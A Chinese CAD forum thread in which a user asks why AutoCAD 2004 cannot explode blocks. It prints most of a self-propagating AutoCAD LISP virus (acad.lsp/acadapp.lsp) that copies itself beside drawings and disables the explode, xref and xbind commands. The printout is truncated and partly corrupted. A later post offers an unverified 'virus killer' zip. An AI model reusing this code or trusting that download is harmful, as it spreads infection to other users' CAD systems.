找回密码
 注册会员
查看: 5847|回复: 10

[求助] cad无法炸开块的求助,另求摆线针轮减速机DWG图

[复制链接]
发表于 2008-9-16 10:04:43 |Error| 显示全部楼层 |阅读模式

我们不再是孤独的探索者;让我们的手紧紧相连,一起成长。

您需要 登录 才可以下载或查看,没有账号?注册会员

×
我的CAD2004安装后,从同事那儿拷贝了一个图,结果无法执行_explode.按网上介绍的方法搜索了acad.lsp,acadapp.lsp,清除后直接打开图纸时仍生成一个acad.lsp文件.也无法炸开块.
请高手指教此种情况用什么办法可以去除不能执行_explode的情况.
注:在执行此命令时于前面加上一个.可以,把acad.lsp用记事本打开后删除内容内再存也可以用,先打开程序再开图纸也不会出现炸不开的问题.但是每次打开CAD程序时会出现下列命令:
正在打开 AutoCAD 2004 格式的文件。
正在重生成模型。
; 错误: 输入的列表有缺陷
AutoCAD 菜单实用程序已加载。

生成的acad.lsp
用记事本打开后的内容如下:
(defun
s::startup
(/
old_cmd
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
dwgpath
mnlpath
apppath
oldacad
newacad
nowdwg
lspbj
wjm
wjm1
wjqm
wjqm1
wz
ns1
ns2)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
path
(findfile
"base.dcl"))
(setq
path
(substr
path
1
(-
(strlen
path)
8)))
(setq
mnlpath
(getvar
"menuname"))
(setq
nowdwg
(getvar
"dwgname"))
(setq
wjqm
(findfile
nowdwg))
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm)
(strlen
nowdwg))))
(setq
acadpath
(findfile
"acad.lsp"))
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath)
8)))
(setq
ns1
""
ns2
"")
(setq
lspbj
0)
(setq
wjqm
(strcat
path
"acad.lsp"))
(if
(setq
wjm
(open
wjqm
"r"))
(progn
(while
(setq
wz
(read-line
wjm))
(setq
ns1
ns2)
(setq
ns2
wz)
)
(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7)
"acadapp")
(setq
lspbj
1))
)
(close
wjm)
)
)
(if
(and
(=
acadpath
dwgpath)
(/=
acadpath
path))
(progn
(setq
oldacad
(findfile
"acad.lsp"))
(setq
newacad
(strcat
path
"acadapp.lsp"))
(if
(=
lspbj
0)
(progn
(setq
wjqm
(strcat
path
"acad.lsp"))
(setq
wjm
(open
wjqm
"a"))
(write-line
(strcat
"(load
"
(chr
34)
"acadapp"
(chr
34)
")")
wjm)
(write-line
"(princ)"
wjm)
(close
wjm)
)
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg")
(progn
(setq
oldacad
(findfile
"acadapp.lsp"))
(setq
newacad
(strcat
dwgpath
"acad.lsp"))
(writeapp)
)
)
)
)
(command
"undefine"
"explode")
(command
"undefine"
"xref")
(command
"undefine"
"xbind")
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"))
(progn
(setq
wjm
(open
oldacad
"r"))
(while
(setq
wz
(read-line
wjm))
(write-line
wz
wjm1)
)
(close
wjm)
(close
wjm1)
)
)
)
(defun
C:explode
(/
p
cont
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
p
(ssget))
(as
if
p
(progn
(setq
cont
(sslength
p))
(princ
"\nSeltct
objects:")
(princ
cont)
(princ
"
find")
(princ
"\n")
(princ
cont)
(princ
"
were
not
able
to
be
explode")
)
)
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
C:xref
(/
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(command
"insert")
(setvar
"cmdecho"


附件为运行CAD时在文本编辑时会显示错误的画面,请高手一并指点.
AutoCAD致命错误截图.JPG
 楼主| 发表于 2008-9-16 10:37:48 |Error| 显示全部楼层

请晓寒帮忙

版主请帮忙啥!
发个贴子半天了也没有人回应一下.
真的是没有办法才到这里发贴子的.
我用了浩辰的杀素程序也没有用,重新安装CAD也不见好转.
用是能用,但是没有彻底解决问题.
回复 顶 踩

使用道具 举报

头像被屏蔽
发表于 2008-9-16 10:59:56 |Error| 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复 顶 踩

使用道具 举报

发表于 2008-9-17 15:24:29 |Error| 显示全部楼层
有两种可能,一是,作者为保护自己的权利用了加密软件,现在的CAD图纸加密软件可以令图纸只能看,不能编辑,也不能复制,所以更不能炸开块了;二是,文件在保存时发生了意外情况,导致某些数据丢失,也可能出现上述情况,基于先开程序后打开文件能炸开(可以将图纸内容复制到另一个文件中保存,应该能解决此问题),多半是后者造成的,偶也遇到过直接点图纸文件不能打开,开了CAD再点图纸文件能打开的现象,至于为什么偶也清楚!
回复 顶 踩

使用道具 举报

 楼主| 发表于 2008-9-27 11:33:17 |Error| 显示全部楼层

我已经找到了这种问题的解决方法

在CAD安装目录的如
C:\Program Files\AutoCAD 2004\Support
里建两个名字为
acad.lsp
acadapp.lsp
的空文件。
然后用我下面提供的一个专杀CAD病毒的小程序杀一下就行了。
回复 顶 踩

使用道具 举报

 楼主| 发表于 2008-9-27 11:35:08 |Error| 显示全部楼层

CAD病毒查杀小程序,我用了绝对安全

CAD病毒查杀小程序,我用了绝对安全

KillCadVirus.zip

114.8 KB, 下载次数: 26

CAD病毒查杀小程序,我用了绝对安全

回复 顶 踩

使用道具 举报

发表于 2008-9-27 20:21:30 |Error| 显示全部楼层
打开的图另存为DXF文件,什么问题都解决了!
回复 顶 踩

使用道具 举报

发表于 2009-4-20 16:25:36 |Error| 显示全部楼层
顶个看下,我的CAD中没有发现这些文件,可就是不能炸开,打开CAD也不是他们说的那样慢,很快就可以打开了
回复 顶 踩

使用道具 举报

发表于 2012-10-25 16:56:08 |Error| 显示全部楼层
靠,这么高深啊?
回复 顶 踩

使用道具 举报

发表于 2012-11-21 15:58:47 |Error| 显示全部楼层
一般只要能打开,就会能找到破解的方法
回复 顶 踩

使用道具 举报

发表于 2012-11-24 09:05:06 |Error| 显示全部楼层
可能加密了吧
回复 顶 踩

使用道具 举报

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则

小黑屋|手机版|Cncad.Net ( 苏ICP备2026083443号 )

GMT+8, 2026-11-1 18:32 , Processed in 0.330077 second(s), 32 queries .

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表